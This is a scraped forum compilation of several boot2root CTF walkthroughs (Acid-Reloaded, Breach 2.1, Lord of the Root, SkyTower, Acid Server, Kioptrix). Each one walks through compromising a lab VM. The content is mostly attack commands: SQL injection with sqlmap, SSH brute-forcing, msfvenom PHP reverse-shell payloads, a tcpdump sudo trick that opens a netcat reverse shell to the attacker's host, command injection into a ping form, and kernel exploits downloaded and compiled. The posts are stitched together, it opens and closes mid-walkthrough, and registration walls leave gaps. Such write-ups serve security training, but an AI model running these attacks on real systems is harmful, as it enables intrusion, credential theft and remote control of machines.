Type ‘y’ to resume the classic injection point and to pseudo terminal shell. We have successfully bypass high level also with the same process.

Commix (os_shell) > systeminfo

The named of the Virtual machine is “Acid-Reloaded”, It is created by Avinash Thappa. This Virtual Machine contains both network logics and web logics. You will need to extract the RAR and run the vmx using VMplayer. The machine has DHCP active list so once automatically assign an IP network, the next step will be to identify the target and discover the / the service / s to start the game.
GOAL: Escalate the privileges to the root user and capture the flag. Once anyone able to beat the box then shoots me a mail
Penetrating Methodologies

Network scanning (netdiscover, nmap)
Port knocking (Netcat)
Abusing HTTP web service (Brupsuite)
SQL injection (Sqlmap)
SSH Brute-Force (Hydra)
Access PTY shell (ssh login)
Kernel privilege escalation

Let’s Begin!!
As always start by finding our target
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

This tells us that our target is 192.168.1.106. Now is time to scan with nmap.
nmap -A 192.168.1.106
1
nmap -A 192.168.1.106
[Image: 2.png?w=687&ssl=1]

The result of nmap shows us that only port 22 is open with the service of SSH. Let’s check out this 22 port.
ssh 192.168.1.106
1
ssh 192.168.1.106
Wann Knock me out??? Sounds like port knocking hint, therefore, let’s go for port knocking.
[Image: 3.png?w=687&ssl=1]

Checking out port 22 hints (3.2.1 let’s Start the Game) we will use the netcat Port Knocking technique.
nc 192.168.1.106 3
nc 192.168.1.106 2
nc 192.168.1.106 1
1
2
3
nc 192.168.1.106 3
nc 192.168.1.106 2
nc 192.168.1.106 1
[Image: 4.png?w=687&ssl=1]

Let’s scan with nmap again.
nmap -p- -A 192.168.1.106
1
nmap -p- -A 192.168.1.106
Port knocking helped us to open port 33447 on which the service of HTTP was redirected.
[Image: 5.png?w=687&ssl=1]

Now open the target IP on the browser using this port.

[To see content please register here]

A simple webpage opens that tells us to use our brain. Haha! Even the page source did not help. It’s time to use dirb for a directory brute-force attack.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

It put-up so many web directories but to me /bin/ might be interesting as it might have a shell system. No harm in checking it out in browsing so let’s do that.
[Image: 8.png?w=687&ssl=1]

And it’s a login portal. Now let’s check its page source.
[Image: 9.png?w=687&ssl=1]

In the page source, there is a directory called: includes/validation.php. I decided to check it out.
Unfortunately! I could not find anything on it. So decided to use DirBuster to find out about directories.
[Image: 10.png?w=687&ssl=1]

In the DirBuster give the URL and for wordlist use medium 1.0-word list. And then click on the Start button and it will start finding directories. So it found so many PHP files as shown below.
[Image: 11.png?w=687&ssl=1]

I checked every directory related to the bin and only /bin/dashboard.php was useful. When I opened it in the browser, I found nothing useful so I looked into the page source and even that proved to be non-useful.
[Image: 11_0.png?w=687&ssl=1]

When nothing helped I decided to capture its cookies using BurpSuite. To capture the cookies using BurpSuite, set proxy and then turn on the interception and then simply reload the page. When the cookies are captured just add the following below the Host.
Referer :

[To see content please register here]

And now as soon as you will hit the forward button it will automatically log in.
[Image: 11_2.png?w=687&ssl=1]

On the page it says to click and when you do that it will redirect to the following page.
[Image: 12.png?w=687&ssl=1]

There was nothing on the redirected page or its page source. So decided to check for SQL injection, and search for a web page with id=1. Luckily we have made the right prediction and got the following result for id=1.
[Image: 13.png?w=687&ssl=1]

Using a single quote (‘) I check for SQL injection and got MySQL error message which means the web application is vulnerable to SQL injection.
[Image: 14.png?w=687&ssl=1]

So decided to use SQLMap.
sqlmap -u 192.168.1.106:33447/bin/l33t_haxor.php?id=1 --dbs --tamper=space2comment --batch
1
sqlmap -u 192.168.1.106:33447/bin/l33t_haxor.php?id=1 --dbs --tamper=space2comment --batch
[Image: 15.png?w=687&ssl=1]

We got database name secure_login, now let’s find out tables.
[Image: 16.png?w=687&ssl=1]

sqlmap -u 192.168.1.106:33447/bin/l33t_haxor.php?id=1 -D secure_login --table --tamper=space2comment
1
sqlmap -u 192.168.1.106:33447/bin/l33t_haxor.php?id=1 -D secure_login --table --tamper=space2comment
It shows us the name of the table i.e. UB3R/strcpy.exe
[Image: 17.png?w=687&ssl=1]

When I opened /UB3R/strcpy.exe in the browser, a dialogue box opened and asked to save a file and so I did.
[Image: 18.png?w=687&ssl=1]

Now use the file command to know more it and found PDF document V 1.5, then used the foremost tool which is a forensic tool which is used to recover files using their headers and footers.
file strcpy.exe
foremost strcpy.exe
1
2
file strcpy.exe
foremost strcpy.exe
[Image: 19.png?w=687&ssl=1]

As soon as you will run the above command a folder is created with the name of output. Let’s check out this folder.
cd output
ls
1
2
cd output
ls
There is a text file in the folder with the name of an audit, I decided to read it through cat command.
cat audit.txt
1
cat audit.txt
[Image: 20.png?w=687&ssl=1]

There is a .rar which I decided to unrar.
unrar x 00000213.rar
1
unrar x 00000213.rar
On unzipping there are two files that have been extracted i.e. acid.txt and lol.jpg. I decided to read acid.txt
cat acid.txt
1
cat acid.txt
This .txt tells us that we are on the right path. So of course next I opened lol.jpg
exiftool lol.jpg
1
exiftool lol.jpg
But found nothing. So I unzipped it.
unrar e lol.jpg
1
unrar e lol.jpg
[Image: 21.png?w=687&ssl=1]

Unzipping the lol.jpg gave me two files again, one was “hint.txt” and another “Avinash.contact”. So I opened hint.txt which told me to go with Avinash.contact, so I next opened.
cat hint.txt
cat Avinash.contact
1
2
cat hint.txt
cat Avinash.contact
[Image: 22.png?w=687&ssl=1]

There was a base64 code given in the file so we decoded the base64 code with help of echo as shown and it turned to be NooB@123.
Syntax: echo Base64 text | base64 -d
[Image: 23.png?w=687&ssl=1]

And then applied brute force on SSH using the text file that I just created with random words. With help of the following command, we try to crack the password for SSH and successfully obtained two credential for SSH login.
hydra -L user.txt -p NooB@123 -u 192.168.1.106 ssh
1
hydra -L user.txt -p NooB@123 -u 192.168.1.106 ssh
[Image: 24.png?w=687&ssl=1]

And it gave us makke: NooB@123 as username and password respectively. And so I logged in with SSH.
ssh [email protected]
1
ssh [email protected]
Give the password when asked. And when I logged in I checked kernel’s version and tried to download its exploit but it didn’t happen. All the options for downloading were blocked so started exploring.
So I directly went for the/bin.
cd /bin
ls
1
2
cd /bin
ls
[Image: 25.png?w=687&ssl=1]

In the/bin, there were files called overlayfs. This is a famous exploit so I executed it
./overlayfs
id
ls –la
1
2
3
./overlayfs
id
ls –la
And then, fortunately, there was a flag.txt.
cat flag.txt
1
cat flag.txt
[Image: 26.png?w=687&ssl=1]

Breach 2.1 is the second VM in the multi-series Boot2Root CTF challenges. This is developed by mrb3n. It is a high-level challenge and shows a lot of scenario including plenty of twists and trolls along the way. It works on a static IP i.e 192.168.110.151, therefore, we have configured our adapter to be a host-only adapter.

You can download it from

[To see content please register here]

WalkThrough

As our VM is hosted on static IP, there is no need to discover our target we will directly start by scanning our target.

nmap –p- -A 192.168.110.151

Nmap shows us that only three ports are open which are: 111, 52263, 65535 with the services of rpbind, status, SSH respectively. Let’s check the SSH port.

ssh 192.168.110.151 –p 65535

Here,

-p = a specified port

Let’s assume here that password is “inthesource” because in the area between the hashes it says “Peter, if that’s you – the password is in the source”. that means Peter is the username and the password is inthesource. I gave it a try.

ssh [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login –p 65535

It logged in but I couldn’t find anything. So I just gave nmap another try and there was port 80 open this time.

nmap -p- -A 192.168.110.151

As the port 80 just opened, to our luck we can open this in our browser now.
[Image: 5.png?w=687&ssl=1]

Now on the webpage, it says “Welcome to Initech Cyber consulting. LLC” and something about BEEF. Even in the page source, I found nothing so I decided to use DirBuster. It showed me a lot of directories but the one that stole my interest was /blog/.

So I opened it in the browser. It opened a travel blog. There was a search box on the blog so I tried SQL injection by using the single inverted comma (‘).

This way I found SQL vulnerability so I used SQLMap next.

Sqlmap –u

[To see content please register here]

–dbs

This command will start the process and it will show you five table names in the database.
[Image: 10.png?w=687&ssl=1]

Out of this five oscommerce is the most famous CMS of e-commerce websites. And this blog was also related to commerce. So I decided to use my next SQLMap command against this table in database.

Sql –u

[To see content please register here]

= –dbs –D oscommerce –tables –dump

Execution of this command will give your username and password. The username is admin but the password that you will receive will be MD5 hash value.

You can crack this MD5 hash value using any third party or you can use an online method as I did.
[Image: 13.png?w=687&ssl=1]

Upon cracking the password you will get here is 32admin. Now I have usernames and password but I do not have a login portal. So I started exploring the blog but couldn’t find anything. So cooped and pasted it copyright information on google.

And upon search the google I found the first link of exploit-db.com that means there is an exploit for the said. And that’s why I opened the linked and explored it.

In the exploit there was information about XSS code and a link was provided. Now I know that BEEF does XSS work and on the very first webpage to there was something about BEEF. So naturally, I started working with BEEF.

Now BEEF automatically gives us a script which includes a link. I copied that link and opened the BEEF panel in the browser.

Here, go to register option and paste the copied link in the username area and give and random password and email.
[Image: 18.png?w=687&ssl=1]

As you can see BEEF will give you a session.
[Image: 19.png?w=687&ssl=1]

From the entire cross sitting details, BEEF have to show please pay close attention to the browser. You will find that our target is using FireFox 15.0 and fortunately there is an exploit for this in Metasploit.

Now, open Metasploit and type the following command to use the said exploit :
use exploit/multi/browser/firefox-proto_crmfrequest
set paypload generic/shell_reverse_tcp
set srvhost 192.168.110.128
set uripath shell
set lhost 192.168.110.128
exploit
[Image: 21.png?w=687&ssl=1]

Performing this exploit will give you an URL like in my case URL is

[To see content please register here]

:8080/shell. Copy this link and go to the BEEF panel. In the BEEF panel go to the Commands tab > Hooked Domain > Redirect Browser. Paste the copied link here in the Redirect URL text box.

As you follow the above steps you will have a shell session.
[Image: 23.png?w=687&ssl=1]

Now here is a trick, you will lose the session as you as you will get it. Here you will have to transfer your shell session to meterpreter session within 5 seconds and for that type :

use post/multi/manage/shell_to_meterpreter

set session 1

run

And you will have a session. Open that session and you will reach the terminal. In the terminal, lets check out the home folder.

cd /home

In the home folder, you will three folders i.e. bill, milton, peter. It was not of much use so went ahead and checked network status.

netstat -tln

Checking the network status gave me some coordinates. So I checked them on Google map and found that it was the coordinates of Houston. Now, this Houston word can be a password or username so I just made a mental note of it for later use.

Except this I found nothing so I decided to use Telnet in order to get a reply and for that used the following command :
telnet 127.0.0.1 2323
[Image: 27.png?w=687&ssl=1]

This time it replied with a question i.e. whose stapler is it? Now I don’t know the answer so I just pressed enter. So to know the answer I wanted to search Milton user. And for this, commands are:

find /usr –user milton

cat /usr/local/bin/cd.py

Now in the python file, it showed me the programming and as you can see in the image you the coding shows that correct answer “mine”.

So, I repeated my steps to reach the same question. And gave the answer as mine.

Then I checked the status of network and observed that port 8888 opened.
[Image: 30.1.png?w=687&ssl=1]

I checked this port in the browser and found two directories.
[Image: 30.png?w=687&ssl=1]

Out of these, I opened oscommerce link and the following page opened.
[Image: 31.png?w=687&ssl=1]

I had the username and password for this CMS so I Google its admin page and logged in with the admin as username and admin as password.

Note: we have cracked the MD5 value of password that resulted in 32admin but here is is no use of 32. The password is admin.

It logged in but to upload the malicious code you have to follow the path is: file manage > includes > work. Here you have to upload your php code.

To generate the code go to the terminal in Kali and type:
Msfvenom –p php/meterpreter/reverse-tcp lhost-192.168.110.128 lport=8443 –f raw
[Image: 34.png?w=687&ssl=1]

Copy <? to die(); and save it in a .php document.
[Image: 35.png?w=687&ssl=1]

Before running the file goes to mestaspoit and start multi/handler.
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 8443
exploit
It will give you the meterpreter session and then type the combination of following commands to reach terminal :
shell
<strong><code>echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py</code></strong>
1
2
<strong><code>echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py</code></strong>
id
Next type :
/var/www/html2/oscommerce/includes/work
[Image: 36.png?w=687&ssl=1]

Still, we haven’t reached root but we found blumbergh, let’s see what privileges it has.
sudo –l
Ok. So it saya that it can rum a tcpdump file as root. That’s interesting. To manipulate tcpdump I need to run a set of following comands:
Echo $’id\n/bin/netcat 192.168.110.128 443 –e /bin/bash’ > /tmp/.test
Chmod +x /tmp/.test
Sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root
[Image: 37.png?w=687&ssl=1]

Tough part is over! Now I just need to run netcat :
nc –nlvp 443
Let’s confirm if we have reached root or not and if yes, let’s see what it has to offer :
id
cd /root
ls
[Image: 39.png?w=687&ssl=1]

There ia flag.py file in /root. So no waiting. Lets capture the flag.
python .flag.py
[Image: 40.png?w=687&ssl=1]

HURRAYYYY!!!! The flag has been captured!!! Enjoy!

This is another Boot2Root challenge which has been prepared by KoocSec for hacking exercises. He prepared this through the inspiration of his OSCP exam. It is based on the concepts of great novel-turned-movie The Lord Of The Ring.
You can download this VM from –>

[To see content please register here]

Breaching Methodology

Network Scanning (Nmap)
Port knocking
Use robot.txt
Login Form Based SQL Injection (Sqlmap)
SSH brute force (Metasploit)
Get into the shell for privilege escalation
Import python one-liner for proper TTY shell
Kernel Privilege Escalation
Get Root access and capture the flag.

Firstly, we will find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Our target is 192.168.1.101
Now run the nmap script to know the ports and protocols.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
[Image: 2.png?w=687&ssl=1]

Nmap has resulted in showing us that only 22 port is open with the service of SSH. Port 80 is not open that means we don’t have a facility of opening this server in the browser. Therefore we will try to see what port 22 has to offer and so go to your terminal in Kali and type:
ssh 192.168.1.101 22
1
ssh 192.168.1.101 22
[Image: 3.png?w=687&ssl=1]

When I searched SSH it said “Knock Friend To Enter” and “Easy as 123” and then it asks for a password that we do not know yet. Now, this is hinting towards port knocking. Let’s try it:
nmap -r -Pn –p 1,2,3 192.168.1.101
1
nmap -r -Pn –p 1,2,3 192.168.1.101
Now again fire up nmap scan. This time hopefully we will have more than one port in the result.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
[Image: 4.png?w=687&ssl=1]

As you can see there is one more port open in comparison to our previous scan i.e. 1337 which has the service of HTTP and this is all we wanted as by default port 80 was not open. Let’s open our target IP with this port.
192.168.1.101:1337
1
192.168.1.101:1337
[Image: 5.png?w=687&ssl=1]

It opens a page with only one image, as shown above, then we have also checked its source code but didn’t get any clue. Generally, there are always some chances of getting robots.txt file inside a web directory, therefore, while penetrating any system we should always check for the robots.txt file.
Here we had tested for robots.txt it in url 192.168.1.101:1337/robots.txt, a new web page will following image gets opened.
[Image: 6.png?w=687&ssl=1]

After then we looked into its source code and found base 64 encoded value.
[Image: 7.png?w=687&ssl=1]

Further, we have decoded it twice in kali as shown below and found a directory from inside that. Let’s open it.
[Image: 8.png?w=687&ssl=1]

And now we are face to face with a login portal. Now here I will try to log in with help of SQL injection and for that, we can use sqlmap.
[Image: 9.png?w=687&ssl=1]

Since we don’t know the exact username and password, therefore, we have used SQLMAP for login form based injection for retrieving the database name and login credential by executing following command.
sqlmap -u 'http://192.168.1.101:1337/978345210/index.php' --forms --dbs --risk=3 --level=5 --threads=4 --batch
1
sqlmap -u 'http://192.168.1.101:1337/978345210/index.php' --forms --dbs --risk=3 --level=5 --threads=4 --batch
[Image: 10.png?w=687&ssl=1]

And it will start gathering the database.
[Image: 11.png?w=687&ssl=1]

And finally, it will show you the database of usernames and passwords.
[Image: 12.png?w=687&ssl=1]

Moving on save all of these usernames and password in two different text files. And use this text files in an SSH log in attack with the help of Brute force method. And to execute this attack go to the terminal in Kali and open Metasploit by typing msfconsole and further type :
use auxiliary/scanner/ssh/ssh_login
msf exploit (scanner/ssh/ssh_login)>set rhosts 192.168.1.101
msf exploit (scanner/ssh/ssh_login)>set user_file /root/Desktop/user.txt
msf exploit (scanner/ssh/ssh_login)>set pass_file /root/Desktop/pass.txt
msf exploit (scanner/ssh/ssh_login)> set stop_on_success true
msf exploit (scanner/ssh/ssh_login)>exploit
1
2
3
4
5
6
use auxiliary/scanner/ssh/ssh_login
msf exploit (scanner/ssh/ssh_login)>set rhosts 192.168.1.101
msf exploit (scanner/ssh/ssh_login)>set user_file /root/Desktop/user.txt
msf exploit (scanner/ssh/ssh_login)>set pass_file /root/Desktop/pass.txt
msf exploit (scanner/ssh/ssh_login)> set stop_on_success true
msf exploit (scanner/ssh/ssh_login)>exploit
And as a result, it will show you the correct username and password i.e. smeagol:MyPreciousR00t. Moreover, Metasploit serves you an additional benefit by providing a remote system command shell as unauthorized access into the victim’s system. Now start penetrating for accessing root privilege. Then to access proper TTY shell we had import python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Now you will reach the terminal. Here, type the following command to know the version of the kernel:
lsb_release -a
1
lsb_release -a
[Image: 13.png?w=687&ssl=1]

The version is 14.04 and luckily we have an exploit for this version. In the Kali terminal lets the search for the appropriate exploit and for this type:
searchsploit ubuntu 14.04
1
searchsploit ubuntu 14.04
[Image: 15.png?w=687&ssl=1]

Copy the exploit on the desktop with help of cp command and run HTTP python server for transferring it into the target’s machine.
[Image: 16.png?w=687&ssl=1]

First, we need to f download the exploit and compile it and for this type:
wget

[To see content please register here]

gcc 39166.c -o shell
1
2
wget

[To see content please register here]

gcc 39166.c -o shell
The first command in the above commands will download the exploit and the second one will compile it and save it in the file named shell. Next, we have to give permission to the shell and then, at last, we have to run it.
chmod 777 shell
./shell
1
2
chmod 777 shell
./shell
Now let’s get into the root folder and see what it has to offer:
cd /root
ls
1
2
cd /root
ls
Here, we have found a text file with the name flag which was our ultimate goal. So now no more waiting lets read it.
cat Flag.txt
1
cat Flag.txt
[Image: 17.png?w=687&ssl=1]

[Guide] How to Hack the Skytower (CTF Challenge)

Posted by: NINZA - 04-25-2020, 04:16 AM - Forum: General Discussion - No Replies

Hello everyone. Today we’ll be walking through skytower CTF challenge. This CTF was designed by Telspace Systems for the CTF at the ITWeb Security Summit and BSidesCPT (Cape Town). The aim is to test intermediate to advanced security enthusiasts in their ability to attack a system using a multi-faceted approach and obtain the “flag”.
Level: Medium
Aim: find flag.txt in the victim’s PC and obtain the root password.
Let’s go then!
Download the skytower lab from

[To see content please register here]

.
Once downloaded, let us run the netdiscover command on our terminal to find out the IP address. By this method, we found out that the IP address of the vulnerable lab is 192.168.1.123 since I am running it on the local network.
[Image: 1.png?w=687&ssl=1]

Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -A 192.168.1.123
1
nmap -A 192.168.1.123
By this scan, we found that port 80 is open so it must have a webpage associated with it.
[Image: 2.png?w=687&ssl=1]

There is also an SSH port and a proxy port too but let’s focus on webpage first. A login form opened up when I typed in the IP in the address bar of my browser that requires email ID and password to login.
[Image: 3.png?w=687&ssl=1]

Let’s try by typing :
Email: '*'
Password: '*'
1
2
Email: '*'
Password: '*'
[Image: 4.png?w=687&ssl=1]

Voila! Our blind SQL injection worked here and the SSH account details were given to us on the login.php page.
Now, we could have tried connecting to it via normal SSH but the problem is that the SSH is filtered. And since we are seeing a proxy on port 3128, let’s try and route our SSH connection through the proxy server.
Type gedit /etc/proxychains.conf and add this statement in the end:
http 192.168.1.123 3128
1
http 192.168.1.123 3128
[Image: 5.png?w=687&ssl=1]

save and exit the config file. On a new terminal window, let’s try SSH connection via that proxy.
proxychains ssh [email protected]
1
proxychains ssh [email protected]
[Image: 6.png?w=687&ssl=1]

As we can see, it immediately closed the connection upon us when we typed in the username as john and password as hereisjohn.
So, that gives us an idea that we won’t get a shell. Let’s try suffixing /bin/bash with the ssh command only
proxychains ssh [email protected] /bin/bash
1
proxychains ssh [email protected] /bin/bash
[Image: 7.png?w=687&ssl=1]

Voila! It did the trick. Type id to check the privileges.
Now, let’s check the current directory and the elements in it by:
pwd
ls –la
1
2
pwd
ls –la
We can see a bashrc file. Probably this is the file that is causing trouble in giving a shell. Let’s remove this file by:
rm .bashrc
[Image: 8.png?w=687&ssl=1]

With .bashrc gone, let’s try SSHing once more.
[Image: 9_0.png?w=687&ssl=1]

Perfect! It did give us a proper shell. Let’s type in sudo –l to check sudoers list but as you can see, john is not in the sudoers list. And we don’t know any other user too!
Let’s type netstat -antp and hope there is some service that would allow us to look for any other user.
[Image: 9_1.png?w=687&ssl=1]

Port 3306 is listening which means MySQL database would have the info of some other users for sure!
But the problem is that we don’t have the database name and the login credentials.
Remember that we have an SQL error on page 192.168.1.123/login.php maybe if we read its source code, we could find the database name and the login credentials.
Let’s read it by:
cat /var/www/login.php
1
cat /var/www/login.php
[Image: 10.png?w=687&ssl=1]

We can see that the database name is “SkyTech,” the username and password both are “root.”
Login to MySQL via:
mysql –u root –p root
1
mysql –u root –p root
[Image: 11.png?w=687&ssl=1]

Here, we run:
show tables;
select * from login;
1
2
show tables;
select * from login;
Following database appeared:
1
[EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login
hereisjohn
2
[EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login
ihatethisjob
3
[email protected]
senseable
So, let’s try logging in via ssh as the user Sara.
ssh sara@localhost -t /bin/sh
1
ssh sara@localhost -t /bin/sh
Type in the password as ihatethisjob
sudo -l
1
sudo -l
Now, we have a clear list of sudoers.
[Image: 12.png?w=687&ssl=1]

We finally have a directory with no password required. So, let’s try and check the contents in the directory /accounts.
We type
sudo ls /accounts/../../../root
1
sudo ls /accounts/../../../root
And a file called “flag.txt” appears!
sudo cat /accounts/../../../root/flag.txt
1
sudo cat /accounts/../../../root/flag.txt
to read the flag.txt file and we get the root password!
[Image: 13.png?w=687&ssl=1]

Congrats! We solved the Skytower CTF challenge!

The name of the Virtual machine is “Acid Server” that we are going to crack. It is a Boot2Root VM that we are going to solve. This is a web-based VM. Our main goal is to escalate the privileges to root and capture the flag.
You can download it from à

[To see content please register here]

Penetration Methodology:

Network Scanning (Nmap, netdiscover)
Directory Brute-force (dirbuster)
Abusing web page for OS command vulnerability
Exploit OS command vulnerability (Metasploit)
Gain unauthorized access into the victim’s machine
Search and download pcap file
Steal password from inside pcap file (Wireshark)
Get into the shell for privilege escalation
Import python one-liner for proper TTY shell
Switch user (su) and submit the stolen password
Take root access and capture the flag

As always start by finding the target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Our target is 192.168.1.103, now fire up nmap to scan the ports.
nmap -p- -A 192.168.1.103
1
nmap -p- -A 192.168.1.103
[Image: 2.png?w=687&ssl=1]

Nmap results are showing that there is only one port open i.e. 33447 with the services of HTTP. Please observe here that port 80 is not open that means if we want to open this IP in the browser then we have to use the port number as it will not open it by default. So now open the web page using the port number 33447.
[Image: 3.png?w=687&ssl=1]

There are only a heading and a quote on the page; nothing else but if you look at the tab on the browser, it says “/Challenge”. This can be a directory. Let’s open it.
[Image: 4.png?w=687&ssl=1]

Upon opening /Challenge, a login portal will open. Let’s learn more about /Challenge by using DirBuster. Copy the link from the browser in Target URL box and then select 2.3-medium word list in Files with the list of dirs/files box by clicking on the browse button. And then click on Start.
[Image: 5.png?w=687&ssl=1]

Clicking on start button will provide the list of directories
[Image: 6.png?w=687&ssl=1]

I went through every directory but the only cake.php was useful. Open it in the browser. When you open cake.php, the page says “ah.haan…There is long way to go..dude J”. But upon looking closely you will find the /Magic_Box is written on the tab. Let’s open it in the URL just like before.
[Image: 7.png?w=687&ssl=1]

When you open the /Magic_Box it says that access to the page is forbidden. OK! There is no problem with that.
[Image: 8.png?w=687&ssl=1]

Let’s use DirBuster again on it. Give the URL

[To see content please register here]

and 2.3 medium wordlists just as before and then click on start button.
In the result, it will show the name of the directories
[Image: 9.png?w=687&ssl=1]

Out of all those command.php is the only one that has proved to be useful. Open it in the URL. Here you will find a ping portal that means you can ping any IP address from here. Let’s try and ping an IP. (You can ping any IP but I am going to ping the default IP i.e. 127.0.0.1).
Once the IP has been pinged, go to the page source. On the page source, you can contemplate that the results of ping are showing.
[Image: 10.png?w=687&ssl=1]

Hence there are possibilities for OS command Injection and to ensure let’s run any arbitrary command such as; ls as shown above. On the page source, you can contemplate that results of ls command.
[Image: 11.png?w=687&ssl=1]

Since the page is showing the desired result that means we can use this portal to inject our virus using the web_delivery exploit. And to do so, go to the terminal of Kali an open Metasploit by typing msfconsole and then further type :
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set target 1
msf exploit(multi/script/web_delivery) set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 192.168.1.108
msf exploit(multi/script/web_delivery) set lport 4444
msf exploit(multi/script/web_delivery) exploit
1
2
3
4
5
6
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set target 1
msf exploit(multi/script/web_delivery) set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 192.168.1.108
msf exploit(multi/script/web_delivery) set lport 4444
msf exploit(multi/script/web_delivery) exploit
This exploit is a multi-exploit that means it can be used on multiple programs. Therefore, I have set the target as one because 1 refers to php and as we are using php payload we have to set the target as 1.
[Image: 12.png?w=687&ssl=1]

Now performing this exploit will give you a code. Copy this code and paste it on the ping portal after the IP that you are using to ping. And to add this code use semi-colon ( Wink

.
127.0.0.1; *<code>*
[Image: 13.png?w=687&ssl=1]

As soon as you click on submit, you will have a meterpreter session in Metasploit. Further type the following command to see the list of directories:
ls / l
1
ls / l
In the list, you will find a directory called s.bin. Let’s go into the folder and see its list of files and for that type:
cd /s.bin
ls
1
2
cd /s.bin
ls
Here, you will find a php file. Let’s read it.
cat invesgitate.php
1
cat invesgitate.php
When you read it, it shows you a message i.e. “now you have to behave like an investigator to catch the culprit”.
[Image: 14.png?w=687&ssl=1]

In the list of the directory that was previously previewed also had a folder sbin. Let’s get into that folder and see the lists of files and to do so type:
cd s.bin
ls
1
2
cd s.bin
ls
[Image: 15.png?w=687&ssl=1]

In the list of files, you can see a file named raw_vs_isi. Let’s check it out.
cd raw_vs_isi
ls
1
2
cd raw_vs_isi
ls
It contains only one file, called hint.pcapng. Let’s download it on our desktop with help of the following command.
download hint.pcapng /root/Desktop
1
download hint.pcapng /root/Desktop
[Image: 16.png?w=687&ssl=1]

Now the file is downloaded on your desktop. I explored it every packet and found a conversation in the TCP stream of the 90th packet. Just right-click on the said packet and then click on Follow option and then select TCP stream.
[Image: 17.png?w=687&ssl=1]

It will open the conversation as shown in the image below:
[Image: 18.png?w=687&ssl=1]

In the conversation, one of them says “saman and nowadays he’s known by the alias of 1337hax0r” that means saman is the username and 1337hax0r can be the password. Let’s try it. Then to access proper TTY shell we had import python one line script and Type following command to reach the terminal and here log in with the username we just found:
shell
python -c 'import pty;pty.spawn("/bin/bash")'
su saman
1337hax0r
sudo su
1337hax0r
1
2
3
4
5
6
shell
python -c 'import pty;pty.spawn("/bin/bash")'
su saman
1337hax0r
sudo su
1337hax0r
And so you have entered the root. Now go into the folder root and see what it has to offer:
cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
[Image: 19.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as Kioptrix: 2014 (#5) and it is another boot2root challenge provided for practice and its security level is for the beginners. So let’s try to break through it. But before please note that you can download it from here

[To see content please register here]

Penetrating Methodologies

Network Scanning (Nmap, netdiscover)
Surfing HTTP service ports (80 and 8080)
Identifying exploit for the vulnerable Web application
Exploiting the target via Metasploit
Get Root access and capture the flag.

Note from Author: Before we power on the VM, it is suggested to remove the network card and re-add it. For some oddball reason, it doesn’t get its IP. So just add the VM to your virtualization software, remove and then add a network card.
Lets Breach!
Start off with finding the target using :
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Our target is 192.168.1.159 Now scan the target with nmap:
nmap -A 192.168.1.159
1
nmap -A 192.168.1.159
[Image: 2.png?w=687&ssl=1]

With the nmap scan result, you can see that HTTP services are running on two ports i.e. ports 80, 8080
As we have HTTP service running we opened it in our browser with the IP

[To see content please register here]

. There is nothing significant on the webpage, except it says “it works!”. I tried searching inside the source code, hoping to find something useful, however, got nothing informative.
[Image: 3.png?w=687&ssl=1]

Then I remembered that HTTP service is listening on 8080 port too. So I opened the IP on the port 8080.
[Image: 8.png?w=687&ssl=1]

But the access was forbidden; however, the message didn’t seem to me as an error message. It seems more to be a message with the deliberate and intentional made-up response. I tried every method to bypass this forbidden access but nothing worked. Hence I decided to use User Agent switcher to check this page in other popular browsers like Internet Explorer.
Download the User Agent Switcher plugin in the Mozilla and perform the following
Navigate to Tools menu from the menu bar. A drop-down menu will appear. From this menu select Default User Agent. Another menu will open and from this select Internet Explorer, from this, another menu will open and from it select Internet Explorer 6.
[Image: 9.png?w=687&ssl=1]

And fortunately, we have access to the page. And found a file called phptax/
[Image: 10.png?w=687&ssl=1]

Now open this link and you will have the following page:
[Image: 11.png?w=687&ssl=1]

The page was of phptax. Phptax is a kind of CMS for Linux OS. Its aim is to develop a tax program which uses a database-less methodology that fits in one line text files. Using the phptax does not require SQL databases that are generally used in this program. And to our luck, there exists an exploit of phptax in Metasploit, for that simply type search phptax in Metasploit MSF Console.
To use this exploit simply type the following in Metasploit:
msf > use exploit/multi/http/phptax_exec
msf exploit(phptax_exec) > set rhost 192.168.1.159
msf exploit(phptax_exec) > set rport 8080
msf exploit(phptax_exec) > exploit
1
2
3
4
msf > use exploit/multi/http/phptax_exec
msf exploit(phptax_exec) > set rhost 192.168.1.159
msf exploit(phptax_exec) > set rport 8080
msf exploit(phptax_exec) > exploit
Great!! We got command shell session1 of the victim’s machine.
[Image: 12.png?w=687&ssl=1]

There is an exploit for this version of the kernel in exploit-db.com. Alternatively, we can also search with the help of searchsploit FreeBSD 9.0 command in the Kali Linux as shown below.
[Image: 13.png?w=687&ssl=1]

Copy the exploit from its default location to the Desktop:
cp /usr/share/exploitdb/exploits/freebsd/local/28718.c .
1
cp /usr/share/exploitdb/exploits/freebsd/local/28718.c .

Here, we used fetch command because wget command wasn’t working. So, using fetch is a substitute for wget command and so we are directly using it from the browser. We compile the file, save it as the kernel and provide executable permissions.
fetch

[To see content please register here]

gcc –o kernel 28718.c
chmod 777 kernel
1
2
3
fetch

